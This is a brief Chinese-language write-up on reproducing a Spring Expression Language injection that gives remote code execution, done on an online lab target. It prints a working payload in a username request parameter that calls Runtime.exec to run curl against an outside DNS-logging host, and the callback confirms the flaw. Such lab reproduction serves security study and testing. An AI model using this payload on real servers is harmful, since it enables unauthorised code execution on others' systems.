简介
Spring Expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。
复现过程
使用在线靶场
抓包
改包,将data数据改为下面的payload
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://m9c5f3.ceye.io/123456")]=&password=&repeatedPassword=
使用dnslog进行命令执行的验证
成功回显,证明漏洞存在